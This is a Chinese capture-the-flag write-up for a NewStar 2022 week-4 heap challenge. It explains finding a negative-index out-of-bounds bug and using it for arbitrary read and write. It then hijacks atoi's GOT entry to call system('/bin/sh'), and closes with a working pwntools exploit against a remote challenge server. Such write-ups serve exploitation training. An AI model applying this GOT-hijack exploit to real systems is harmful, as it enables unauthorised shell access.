2022NewStar新生赛week4—这是堆🐴
先看看开了什么保护机制
打开64位ida看看
是一个菜单程序,看看有啥功能
加点、删除点、修改点、展示点,我们一个一个看,先看add note
也就是新建一个0x30大小的堆,然后写入0x30大小,再去看看delete note
真不错,那去看看edit note吧
也是一个很正常的修改,就是修改堆的内容,也是0x30大小,没有溢出,再去看看show note吧
也就是正常的把堆的内容打印出来
现在我们再来整理一下,说白了我们可以创建16个堆,从0到15编号,你修改和添加编号都有判断,不能大于15,并且heaps[v1]要有值(修改)或者没有值(添加),这个heaps是指向堆的指针数组,保存的都是堆的地址
怎么办,没有漏洞
真的没有嘛
有的,数组越界,大于15,没有说不能小于0啊,所以我可以往负的方向越界,而且这个是指针数组,我要是能修改这个指针数组,那么我就可以任意地址写和任意地址输出了,去找找
我们数组往小于0的方向越界就是往上越界,我们看看上面有没有好东西,说白了我就是要找一个地方存的内容是比0x6020e0还小的,就是0x602080这个地方,它存的东西就是0x602080,对应的下标应该是-12,如果我修改-12,也就是修改(0x602080)这个地址的内容,那不就是修改0x602080的内容吗,因为(0x602080)=0x602080,如果我把它改成返回地址的值,那么我再去修改-12的内容,那不就可以修改返回地址的值吗,就是这么用的,那么我们就可以去看看有没有后门函数了
没有后门函数,连system都没有,怎么办,写rop不大现实,因为我们每次只能修改0x30,但是不知道栈地址,这时候就得想到got表劫持了,我们直接把一个函数劫持成system不就行了,毕竟libc给了,你要是能修改got表,那么泄露就是用show嘛,也就是先把-12的内容改成一个got的地址,然后用show泄露,再用edit修改劫持,然后把/bin/sh作为参数就行了,这时候我们就得找找看看有没有可以完全控制参数的函数
atoi函数的参数是完全由我们输入的,那么这个参数输入成/bin/sh不就好了,这样就搞定了
from pwn import*
#p=process('./pwn1')
p=remote('node4.buuoj.cn',26834)
elf=ELF('./pwn1')
libc=ELF('./libc-2.31.so')
atoi_got=elf.got['atoi']
def show(idx):
p.recvuntil('>> ')
p.sendline(str(4))
p.recvuntil('Index:')
p.send(str(idx))
def edit(idx,content):
p.recvuntil('>> ')
p.sendline(str(3))
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content:')
p.send(content)
print(hex(atoi_got))
edit(-12,p64(atoi_got))
show(-12)
libc_base=u64(p.recvuntil('\x7f',drop=False)[-6:].ljust(8,b'\0'))-libc.symbols['atoi']
print(hex(libc_base))
system=libc_base+libc.symbols['system']
edit(-12,p64(system)[:6])
show('/bin/sh')
p.interactive()